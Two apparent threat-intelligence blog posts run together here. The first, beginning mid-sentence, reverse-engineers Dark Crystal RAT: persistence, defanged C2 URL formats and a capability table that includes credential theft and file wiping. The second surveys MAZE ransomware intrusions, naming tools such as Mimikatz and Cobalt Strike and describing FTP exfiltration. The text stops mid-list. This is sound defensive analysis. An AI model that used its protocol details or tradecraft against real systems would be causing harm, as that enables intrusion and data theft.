can be summarized as follows: 1. The malware picks the name of a random running process, and then copies itself to %APPDATA% and C:\. For example, if svchost.exe is selected, then the malware copies itself to %APPDATA%\svchost.exe and C:\svchost.exe. 2. The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%. 3. The malware creates a shortcut named dotNET.lnk in the logged-on user’s Startup folder pointing to %APPDATA%\dotNET.lnk. 4. The malware creates a shortcut C:\Sysdll32.lnk pointing to the copy of the malware under C:\. 5. The malware creates a shortcut named Sysdll32.lnk in the logged-on user’s Startup folder pointing to C:\Sysdll32.lnk. 6. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss pointing to %APPDATA%\dotNET.lnk. 7. The malware creates the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit pointing to C:\Sysdll32.lnk. After its persistence steps, the malware checks for multiple instances of the malware: 1. The malware sleeps for a random interval between 5 and 7 seconds. 2. The malware takes the MD5 hash of the still-base64-encoded configuration string, and creates the mutex whose name is the hexadecimal representation of that hash. For this sample, the malware creates the mutex bc2dc004028c4f0303f5e49984983352. If this fails because another instance is running, the malware exits. The malware then beacons, which also allows it to determine whether to use the main host (MHost) or backup host (BHost). To do so, the malware constructs a beacon URL based on the MHost URL, makes a request to the beacon URL, and then checks to see if the server responds with the HTTP response body “ok.” If the server does not send this response, then the malware unconditionally uses the BHost; this code is shown in Figure 13. Note that since this sample has the same MHost and BHost value (from Figure 11), the malware uses the same C2 endpoint regardless of whether the check succeeds or fails. Figure 13: The malware makes an HTTP request based on the MHost URL to determine whether to use the MHost or BHost The full algorithm to obtain the beacon URL is as follows: 1. Obtain the MHost URL, i.e., hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239my zon0xwjlxqnn3b34w . 2. Calculate the SHA1 hash of the full MHost URL, i.e., 56743785cf97084d3a49a8bf0956f2c744a4a3e0. 3. Remove the last path component from the MHost URL, and then append the SHA1 hash from above, and ?data=active. The full beacon URL is therefore hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54 /46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/56743785cf 97084d3a49a8bf0956f2c744a4a3e0.php?data=active . After beaconing the malware proceeds to send and receive messages with the configured C2. ### Messages and Capabilities After performing static analysis of dfsds.exe to determine how it selects the C2 endpoint and confirming the C2 endpoint URL, we shifted to dynamic analysis in order to collect sample C2 traffic and make it easier to understand the code that generates and accepts C2 messages. Luckily for our analysis, the malware continues to generate requests to the C2 endpoint even if the server does not send a valid response. To listen for and intercept requests to the C2 endpoint (domalo[.]online) without allowing the malware Internet access, we used FLARE’s FakeNet-NG tool. Figure 14 shows some of the C2 requests that the malware made being captured by FakeNet-NG. Figure 14: FakeNet-NG can capture the malware's HTTP requests to the C2 endpoint By comparing the messages generated by the malware and captured in FakeNet-NG with the malware’s decompiled code, we determined its message format and types. Observe that the last HTTP request visible in Figure 14 contains a list of running processes. By tracing through the decompiled code, we found that the method SchemaServerManager.ObserverWatcher.NewMerchant generated this message. We renamed this method to taskThread and assigned meaningful names to the other methods it calls; the resulting code for this method appears in Figure 15. Figure 15: The method that generates the list of running processes and sends it to the C2 endpoint By analyzing the code further, we identified the components of the URLs that the malware used to send data to the C2 endpoint, and how they are constructed. Beacons The first type of URL is a beacon, sent only once when the malware starts up. For this sample, the beacon URL was always hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzk hen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/<hash>.php?data=active, where <hash> is the SHA1 hash of the MHost URL, as described earlier. GET requests, format 1 When the malware needs to send data to or receive data from the C2, it sends a message. The first type of message, which we denote as “format 1,” is a GET request to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_setdata&__ds_setdata_user=<user_hash>&__ds_setdata_ext=<message_hash>&__ds_setdata_data=<message> , where: • <hash> is MD5(SHA1(MHost)), which for this sample, is 212bad81b4208a2b412dfca05f1d9fa7. • <user_hash> is a unique identifier for the machine on which the malware is running. It is always calculated as SHA1(OS_version + machine_name + user_name) as provided by the .NET System.Environment class. • <message_hash> identifies what kind of message the malware is sending to the C2 endpoint. The <message_hash> is calculated as MD5(<message_type> + <user_hash>), where <message_type> is a short keyword identifying the type of message, and <user_hash> is as calculated above. • Values for <message_type> exist for each command that the malware supports; for possible values, see the “msgs” variable in the code sample shown in Figure 19. • Observe that this makes it difficult to observe the message type visually from log traffic, or to write a static network signature for the message type, since it varies for every machine due to the inclusion of the <user_hash>. • One type of message uses the value u instead of a hash for <message_hash>. • <message> is the message data, which is not obscured in any way. The other type of ordinary message is a getdata message. These are GET requests to URLs of the form hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php? type=__ds_getdata&__ds_getdata_user=<user_hash>&__ds_getdata_ext=<message_hash>&__ds_getdata_key=<key> , where: • <hash> and <user_hash> are calculated as described above for getdata messages. • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. • <key> is MD5(<user_hash>). The server is expected to respond to a getdata message with an appropriate response for the type of message specified by <message_hash>. GET requests, format 2 A few types of messages from the malware to the C2 use a different format, which we denote as “format 2.” These messages are GET requests of the form hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp1z56txzkhen7gj ci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn3b34w/<user_hash>.<mes sage_hash> , where: • <user_hash> is calculated as described above for getdata messages. • <message_hash> is also calculated as described above for getdata messages, but describes the type of message the malware is expecting to receive in the server’s response. <message_hash> may also be the string comm. Table 1 shows possible <message_types> that may be incorporated into <message_hash> as part of format 2 messages to instruct the server which type of response is desired. In contrast to format 1 messages, format 2 messages are only used for a handful of <message_type> values.  Response desired s_comm The server sends a non-empty response if a screenshot request is pending m_comm The server sends a non-empty response if a microphone request is pending RDK The server responds directly with keystrokes to replay comm The server responds directly with other types of tasking Table 1: Message types when the malware uses a special message to request tasking from the server POST requests When the malware needs to upload large files, it makes a POST request. These POST requests are sent to hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqb jvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xwjlxqnn 3b34w/<hash>.php , with the following parameters in the POST data: • name is <user_hash> + "." + <message_type>, where <user_hash> is calculated as described above and <message_type> is the type of data being uploaded. • upload is a file with the data being sent to the server. Table 2 shows possible <message_type> values along with the type of file being uploaded.  Type of File jpg Screenshot zipstealerlog Cookie stealer log wav Microphone recording file Uploaded file bmp Webcam image RD.jpg Remote control screenshot Table 2: Message types when files are uploaded to the server Capabilities By analyzing the code that handles the responses to the comm message (format 2), it was possible for us to inventory the malware’s capabilities. Table 3 shows the keywords used in responses along with the description of each capability.  Keyword Description shell Execute a shell command deleteall Recursively delete all files from C:, D:, F:, and G: closecd Close the CD-ROM drive door setwallpaper Change the background wallpaper ddos Send TCP and UDP packets to a given host or IP address logoff Log off the current user keyboardrecorder Replay keystrokes as if the user had typed them fm_newfolder Create a new folder fm_rename Rename or move a file desktopHide Hide desktop icons keyloggerstart Start logging keystrokes exec_cs_code Compile and execute C# code msgbox Open a Windows MessageBox fm_upload Transfer a file from the C2 to the client rdp Re-spawn the malware running as an administrator fm_zip Build a ZIP file from a directory tree and transfer it from the client to the C2 webcam Take a webcam picture fm_unzip Unzip a ZIP file to a given path on the client keyloggerstop Stop logging keystrokes fm_drives Enumerate drive letters cookiestealer Transfer cookies and browser/FileZilla saved credentials to the C2 fm_delete Recursively delete a given directory dismon Hide desktop icons and taskbar fm_uploadu Transfer a file from the C2 to the client taskstart Start a process cleardesktop Rotate screen lcmd Run shell command and send standard output back to C2 taskbarShow Show taskbar clipboard Set clipboard contents cookiestealer_file Save cookies and credentials to a local file newuserpass Create a new local user account beep Beep for set frequency and duration speak Use speech synthesizer to speak text openchat Open chat window taskbarHide Hide the taskbar RDStart Start remote control over user’s desktop closechat Close chat window RDStop Stop remote control over user’s desktop fm_opendir List directory contents uninstall Remove the malware from the client taskkill Kill a process forkbomb Endlessly spawn instances of cmd.exe fm_get Transfer a file from the client to the C2 desktopShow Show desktop icons Clipboardget Transfer clipboard contents to C2 playaudiourl Play a sound file opencd Open the CD-ROM drive door shutdown Shut down the machine restart Restart the machine browseurl Open a web URL in the default browser Table 3: Capabilities of DCRat #### Proof-of-Concept Dark Crystal RAT Server After gathering information from Dark Crystal RAT about its capabilities and C2 message format, another way to illustrate the capabilities and test our understanding of the messages was to write a proof-of-concept server. Here is a code snippet that we wrote containing a barebones DCRat server written in Python. Unlike a real RAT server, this one does not have a user interface to allow the attacker to pick and launch commands. Instead, it has a pre-scripted command list that it sends to the RAT. When the server starts up, it uses the Python BaseHTTPServer to begin listening for incoming web requests (lines 166-174). Incoming POST requests are assumed to hold a file that the RAT is uploading to the server; this server assumes all file uploads are screenshots and saves them to “screen.png” (lines 140-155). For GET requests, the server must distinguish between beacons, ordinary messages, and special messages (lines 123-138). For ordinary messages, __ds_setdata messages are simply printed to standard output, while the only __ds_getdata message type supported is s_comm (screenshot communications), to which the server responds with the desired screenshot dimensions (lines 63-84). For messages of type comm, the server sends four types of commands in sequence: first, it hides the desktop icons; then, it causes the string “Hello this is tech support” to be spoken; next, it displays a message box asking for a password; finally, it launches the Windows Calculator (lines 86-121). Figure 16 shows the results when Dark Crystal RAT is run on a system that has been configured to redirect all traffic to domalo[.]online to the proof-of-concept server we wrote. Figure 16: The results when a Dark Crystal RAT instance communicates with the proof-of-concept server #### Other Work and Reconnaissance After reverse engineering Dark Crystal RAT, we continued reconnaissance to see what additional information we could find. One limitation to our analysis was that we did not wish to allow the sample to communicate with the real C2, so we kept it isolated from the Internet. To learn more about Dark Crystal RAT we tried two approaches: the first was to browse the Dark Crystal RAT website (files.dcrat[.]ru) using Tor, and the other was to take a look at YouTube videos of others’ experiments with the “real” Dark Crystal RAT server. ##### Dark Crystal RAT Website We found that Dark Crystal RAT has a website at files.dcrat[.]ru, shown in Figure 17. Observe that there are options to download the RAT itself, as well as a few plugins; the DCLIB extension is consistent with the plugin loading code we found in the RAT. Figure 17: The website files.dcrat[.]ru allows users to download Dark Crystal RAT and some of its plugins Figure 18 shows some additional plugins, including plugins with the ability to resist running in a virtual machine, disable Windows Defender, and disable webcam lights on certain models. No plugins were bundled with the sample we studied. Figure 18: Additional plugins listed on the Dark Crystal RAT website Figure 19 lists software downloads on the RAT page. We took some time to look at these files; here are some interesting things we discovered: • The DCRat listed on the website is actually a “builder” that packages a build of the RAT and a configuration for the attacker to deploy. This is consistent with the name DCRatBuild.exe shown back in Figure 4. In our brief testing of the builder, we found that it had a licensing check. We did not pursue bypassing it once we found public YouTube videos of the DCRat builder in operation, as we show later. • The DarkCrystalServer is not self-contained, rather, it is just a PHP file that allows the user to supply a username and password, which causes it to download and install the server software. Due to the need to supply credentials and communicate back with dcrat[.]ru (Figure 20), we did not pursue further analysis of DarkCrystalServer. Figure 19: The RAT page lists software for the RAT, the server, an API, and plugin development Figure 20: The DarkCrystalServer asks for a username and password and calls back to dcrat[.]ru to download software, so we did not pursue it further ##### YouTube Videos As part of confirming our findings about Dark Crystal RAT capabilities that we obtained through reverse engineering, we found some YouTube demonstrations of the DCRat builder and server. The YouTube user LIKAR has a YouTube demonstration of Dark Crystal RAT. The author demonstrates use of the Dark Crystal RAT software on a server with two active RAT instances. During the video, the author browses through the various screens in the software. This made it easy to envision how a cyber threat would use the RAT, and to confirm our suspicions of how it works. Figure 21 shows a capture from the video at 3:27. Note that the Dark Crystal RAT builder software refers to the DCRatBuild package as a “server” rather than a client. Nonetheless, observe that one of the options was a type of Java, or C# (Beta). By watching this YouTube video and doing some additional background research, we discovered that Dark Crystal RAT has existed for some time in a Java version. The C# version is relatively new. This explained why we could not find much detailed prior reporting about it. Figure 21: A YouTube demonstration revealed that Dark Crystal RAT previously existed in a Java version, and the C# version we analyzed is in beta Figure 22 shows another capture from the video at 6:28. The functionality displayed on the screen lines up nicely with the “msgbox”, “browseurl”, “clipboard”, “speak”, “opencd”, “closecd”, and other capabilities we discovered and enumerated in Table 6. Figure 22: A YouTube demonstration confirmed many of the Dark Crystal RAT capabilities we found in reverse engineering #### Conclusion In this post we walked through our analysis of the sample that the threat intel team provided to us and all its components. Through our initial triage, we found that its “dfsds.exe” component is Dark Crystal RAT. We found that Dark Crystal RAT was a .NET executable, and reverse engineered it. We extracted the malware’s configuration, and through dynamic analysis discovered the syntax of its C2 communications. We implemented a small proof-of-concept server to test the correct format of commands that can be sent to the malware, and how to interpret its uploaded screenshots. Finally, we took a second look at how actual threat actors would download and use Dark Crystal RAT. To conclude, indicators of compromise for this version of Dark Crystal RAT (MD5: 047af34af65efd5c6ee38eb7ad100a01) are given in Table 4. #### Indicators of Compromise ##### Dark Crystal RAT (dfsds.exe)  Handle artifacts Mutex name bc2dc004028c4f0303f5e49984983352 Registry artifacts Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\scrss Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit File system artifacts File C:\Sysdll32.lnk File %APPDATA%\dotNET.lnk File Start Menu\Programs\Startup\Sysdll32.lnk File Start Menu\Programs\Startup\dotNET.lnk File %APPDATA%\.exe File C:\.exe Network artifacts HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/212bad81b4208a2b412dfca05f1d9fa7.php?data=active HTTP request hxxp://domalo[.]online/ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91due u3qa54/46kqbjvyklunp1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9kl vv3/akcii239myzon0xwjlxqnn3b34w212bad81b4208a2b412dfca05f1d9f a7.php? type=__ds_getdata&__ds_getdata_user=&__ds_getdata_ex t=&__ds_getdata_key= HTTP request hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp 1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xw jlxqnn3b34w/. TCP connection domalo[.]online:80 TCP connection ipinfo[.]ip DNS lookup domalo[.]online DNS lookup ipinfo[.]ip Strings Static string DCRatBuild Table 4: IoCs for this instance of DCRat #### FireEye Product Support for Dark Crystal RAT Table 5 describes how FireEye products react to the initial sample (MD5: b478d340a787b85e086cc951d0696cb1) and its Dark Crystal RAT payload, or in the case of Mandiant Security Validation, allow a stakeholder to validate their own capability to detect Dark Crystal RAT.  FireEye Product Support for Dark Crystal RAT FireEye Network Security (NX) Backdoor.Plurox detection FireEye Email Security (EX & ETP) Backdoor.MSIL.DarkCrystal, Backdoor.Plurox, Malware.Binary.exe, Trojan.Vasal.FEC3, Win.Ransomware.Cerber-6267996-1, fe_ml_heuristic detections FireEye Endpoint Security (HX) Trojan.GenericKD.32546165, Backdoor.MSIL.DarkCrystal detections FireEye Malware Analysis (AX) Backdoor.Plurox.FEC2 detection FireEye Detection on Demand (DoD) Backdoor.Plurox.FEC2, FireEye.Malware detections Mandiant Security Validation Built-in Action coming soon Table 5: Support in FireEye products to detect Dark Crystal RAT or validate detection capability # Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye Mandiant Threat Intelligence has previously documented this threat in our investigations of trends across ransomware incidents, FIN6 activity, implications for OT networks, and other aspects of post-compromise ransomware deployment. Since November 2019, we’ve seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model. Malicious actors have been actively deploying MAZE ransomware since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee. The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations. Mandiant Threat Intelligence will be available to answer questions on the MAZE ransomware threat in a May 21 webinar. #### Victimology We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have been primarily based in North America, although victims spanned nearly every geographical region. Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1). Figure 1: Geographical and industry distribution of alleged MAZE victims #### Multiple Actors Involved in MAZE Ransomware Operations Identified Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to Mandiant Intelligence subscribers. A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model, ransomware developers will partner with other actors (i.e. affiliates) who are responsible for distributing the malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit. Figure 2: MAZE ransomware panel #### MAZE Initially Distributed via Exploit Kits and Spam Campaigns MAZE ransomware was initially distributed directly via exploit kits and spam campaigns through late 2019. For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware. On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address gladkoff1991@yandex.ru. Figure 3: German-language lure On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states. These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload. On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects “Missed package delivery” and "Your AT&T wireless bill is ready to view" and were sent using a number of malicious domains with the registrant address abusereceive@hitler.rocks. Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019. Figure 4: AT&T email lure Figure 5: Canada Post email lure #### Shift to Post-Compromise Distribution Maximizes Impact Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim’s environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data. Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months. Initial Compromise There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access. The following are a sample of observations from several Mandiant incident response engagements: • A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON. • An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account's password. • An actor exploited a misconfiguration on an Internet-facing system. This access enabled the actor to deploy tools to pivot into the internal network. • An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system. Establish Foothold & Maintain Presence The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations. • Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations. • Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor. • Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations. • An actor created a new domain account and added it to the domain administrators group. Escalate Privileges Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials. • Less than two weeks after initial access, the actor downloaded and interacted with an archive named mimi.zip, which contained files corresponding to the credential harvesting tool Mimikatz. In the following days the same mimi.zip archive was identified on two domain controllers in the impacted environment. • The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity. • The actor attempted to identify hosts running the KeePass password safe software. • Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges. • Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers' efforts to understand the impacted organization's Active Directory configuration. In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services. Reconnaissance Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks. • In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information. • Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations. • Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands. The output of this script was copied into a file named '2.txt'. • The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-controlled FTP server via an encoded PowerShell script. • Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts. • An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe. • An actor used the tool smbtools.exe to assess whether accounts could login to systems across the environment. • An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration. Lateral Movement Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials. Despite this uniformity, some alternative tools and approaches were also observed. • Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation. • The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts. • An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account. • At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful. Complete Mission There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee. • An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013. • A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident. • Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server. • An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service. • Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility. In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands. • Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems. • Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment. • An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion. • Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows: • A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat. • Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment • Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted. #### Implications Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper. #### Mandiant Security Validation Actions Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information. • A100-877 - Active Directory - BloodHound, CollectionMethod All • A150-006 - Command and Control - BEACON, Check-in • A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1 • A101-031 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #2 • A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3 • A100-878 - Command and Control - MAZE Ransomware, C2 Check-in • A100-887 - Command and Control - MAZE, DNS Query #1 • A100-888 - Command and Control - MAZE, DNS Query #2 • A100-889 - Command and Control - MAZE, DNS Query #3 • A100-890 - Command and Control - MAZE, DNS Query #4 • A100-891 - Command and Control - MAZE, DNS Query #5 • A100-509 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Github PoC • A100-339 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing Page • A101-033 - Exploit Kit Activity - Spelevo Exploit Kit, MAZE C2 • A100-208 - FTP-based Exfil/Upload of PII Data (Various Compression) • A104-488 - Host CLI - Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All • A104-046 - Host CLI - Collection, Exfiltration: Data from Local Drive using PowerShell • A104-090 - Host CLI - Collection, Impact: Creation of a Volume Shadow Copy • A104-489 - Host CLI - Collection: Privilege Escalation Check with PowerUp, Invoke-AllChecks • A104-037 - Host CLI - Credential Access, Discovery: File & Directory Discovery • A104-052 - Host CLI - Credential Access: Mimikatz • A104-167 - Host CLI - Credential Access: Mimikatz (2.1.1) • A104-490 - Host CLI - Defense Evasion, Discovery: Terminate Processes, Malware Analysis Tools • A104-491 - Host CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk • A104-500 - Host CLI - Discovery, Defense Evasion: Debugger Detection • A104-492 - Host CLI - Discovery, Execution: Antivirus Query with WMI, PowerShell • A104-374 - Host CLI - Discovery: Enumerate Active Directory Forests • A104-493 - Host CLI - Discovery: Enumerate Network Shares • A104-481 - Host CLI - Discovery: Language Query Using PowerShell, Current User • A104-482 - Host CLI - Discovery: Language Query Using reg query • A104-494 - Host CLI - Discovery: MAZE, Dropping Ransomware Note Burn Directory • A104-495 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant • A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant • A104-027 - Host CLI - Discovery: Process Discovery • A104-028 - Host CLI - Discovery: Process Discovery with PowerShell • A104-029 - Host CLI - Discovery: Remote System Discovery • A104-153 - Host CLI - Discovery: Security Software Identification with Tasklist • A104-083 - Host CLI - Discovery: System Info • A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload • A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message • A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media • A100-879 - Malicious 